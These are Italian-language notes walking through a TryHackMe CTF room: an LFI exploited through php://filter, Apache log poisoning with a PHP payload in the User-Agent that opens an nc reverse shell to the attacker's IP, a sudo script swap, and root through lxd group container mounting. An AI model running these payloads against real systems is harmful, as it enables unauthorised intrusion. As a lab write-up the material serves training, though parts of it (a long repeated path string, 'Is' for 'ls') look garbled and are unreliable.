Appunti per la CTF HackInBo

https://tryhackme.com/room/hackinbowinter2021

nmap -sV -sC -A 10.10.25.22

```
OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
22/tcp open
              ssh
ssh-hostkey:
2048 f7:8b:44:d1:76:3c:87:f3:6c:41:83:22:b2:f3:8f:a9 (RSA)
256 b7:16:20:84:65:80:44:d4:58:d2:86:2c:e8:bf:bc:ca (ECDSA)
256 53:af:ef:ed:0b:cf:2e:dc:89:56:e8:8a:da:bd:cb:e2 (ED25519)
80/tcp open http
                        Apache httpd 2.4.29 ((Ubuntu))
| http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Site doesn't have a title (text/html).
aggiungiamo al file host il puntamento al vhost dev che troviamo nella home. Analizzando il portale
troviamo il path /menu/ che include dei file ?view=
vulnerabilità LFI
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,;/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
```

lxd:x:105:65534::/var/lib/lxd/:/bin/false

uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin

_apt:x:104:65534::/nonexistent:/usr/sbin/nologin

dnsmasq:x:107:65534:dnsmasq,,,;/var/lib/misc:/usr/sbin/nologin

landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin

pollinate:x:109:1::/var/cache/pollinate:/bin/falsesshd:x:110:65534::/run/sshd:/usr/sbin/nologin

j0hn_do3:x:1001:1001:John,,,:/home/j0hn_do3:/bin/bash h4k1nb0:x:1000:1000:hacking bo:/home/h4k1nb0:/bin/bash

Usiamo i wrapper per leggere i file php

php://filter/convert.base64-

php://filter/convert.base64-

\$users = ['j0hn_d03' => 'P4\$\$w0RdS1Cur4'];

Testiamo ssh ma niente

Eseguiamo da LFI a RCE

Reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.164.169 8000 >/tmp/f

inseriamola nello user agent

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.164.169 8000 >/tmp/f');?> Gecko/20100101

Richiamiamo il file di apache access.log

Otteniamo la reverse shell

nc -nvlp 8000

listening on [any] 8000 ...

connect to [10.9.164.169] from (UNKNOWN) [10.10.251.69] 46420

/bin/sh: 0: can't access tty; job control turned off

\$

```
www-data@HackinBo2021:/home/j0hn_do3$ su j0hn_do3
su j0hn_do3
Password: P4$$w0RdS1Cur4
E siamo dentro come j0hn_do3
j0hn_do3@HackinBo2021:~$ sudo -l
sudo -l
[sudo] password for j0hn_do3: P4$$w0RdS1Cur4
Matching Defaults entries for jOhn do3 on HackinBo2021:
     env_reset, mail_badpass,
     secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\:/shin\
User j0hn_do3 may run the following commands on HackinBo2021:
     (h4k1nb0) /usr/bin/python3.6 /home/j0hn_do3/passwordgen.py
L'utente esegue il file python con i privilegi dell'utente h4k1nb0
Il file è nella home di j0hn_do3. Sostituiamo il file con uno contenente la reverse shell nostra
rm passwordgen.py && echo "import pty;pty.spawn('/bin/sh');" > passwordgen.py && sudo -u h4k1nb0
/usr/bin/python3.6 /home/j0hn_do3/passwordgen.py
$ id
id
uid=1000(h4k1nb0) gid=1000(h4k1ngb0)
groups=1000(h4k1ngb0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
Privilege escalation.
l'utente fa parte del gruppo lxd.
Sfruttiamo l'exploit seguendo
https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-
escalation
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-
releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
```

\$ python3 -c "import pty;pty.spawn('/bin/bash');"

sudo ./build-alpine -a i686

import the image

lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

before running the image, start and configure the lxd storage pool as default

lxd init

run the image

lxc init myimage mycontainer -c security.privileged=true

mount the /root into the image

lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

interact with the container

lxc start mycontainer

Ixc exec mycontainer /bin/sh

home # cd /mnt

/mnt # Is

root

/mnt # Is

root

/mnt # cd root

/mnt/root # Is

bin etc lib mnt run swap.img var

boot home lib64 opt sbin sys vmlinuz

cdrom initrd.img lost+found proc snap tmp vmlinuz.old

dev initrd.img.old media root srv usr

/mnt/root # cd root

/mnt/root/root # Is

root.txt